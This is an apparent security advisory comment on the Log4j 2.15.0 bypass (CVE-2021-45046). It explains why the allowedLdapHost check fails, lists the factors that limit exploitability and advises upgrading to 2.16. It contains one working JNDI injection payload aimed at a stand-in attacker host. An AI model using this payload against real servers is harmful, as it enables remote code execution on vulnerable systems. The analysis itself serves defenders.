Whilst this was originally considered a DoS vulnerability, new evidence has turned up as noted at https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/?s=09#update-the-localhost-bypass-was-discovered and later at https://twitter.com/marcioalm/status/1471740771581652995 by Márcio Almeida that is possible to bypass the allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE by simply modifying following PoC slightly:

${jndi:ldap://127.0.0.1#evilhost.com:1389/a}

This bypass works due to the call chain calling java.net.URI getHost() returning the value before the # sign as the real host, which will return 127.0.0.1. However the actual JDNI/LDAP resolver will end up using the full hostname string, so provided you can get it to respond to the weird hostname, you should be good.

Further investigation however shows that this vulnerability is mostly mitigated by a few factors as noted by Kevin Beaumont at https://twitter.com/GossiTheDog/status/1471791074314276867 and in a further Twitter thread by @buherator at https://twitter.com/buherator/status/1471869066470113288.

Specifically the following restrictions apply:

1. The vulnerability only applies in a nondefault configuration. Specifically %m{lookups} need to be enabled in the message log. On 2.15.0 message lookups come disabled by default, however previous versions may come shipped with this enabled by default.
   
2. So far reliable RCE has only been demonstrated on MacOS, and most people aren’t going to be running critical apps on this device.
   
3. Whilst it is possible to query the weird name LDAP name on other hosts, it appears, according to the thread at https://twitter.com/buherator/status/1471878423459110913, that the Java resolver enforces restrictions that prevent the name from being resolved. Whilst is is possible to get around this, as noted at https://twitter.com/douglasmun/status/1471884380545044480, it requires the DNS provider on the target system being set to a non-default provider.
   

It should be noted that developments on this are still ongoing so its likely the situation could change, however this is the latest info I have on this as of the evening of December 17th, 2021. Due to the restrictions I’m rating exploitability as very low as a lot of things must be true from the sounds of it for this to be exploitable, however if it is exploitable the impact is very high and is the same as the log4shell exploit.

It should be noted despite all this that there exists other issues within Log4j versions prior to 2.16 such as Praetorian’s demonstration of sensitive information exfiltration as noted at https://www.praetorian.com/blog/log4j-2-15-0-stills-allows-for-exfiltration-of-sensitive-data/. Therefore whilst this particular vulnerability may not be as impactful there are plenty of other reasons why you should upgrade to 2.16 or later of log4j if you haven’t already.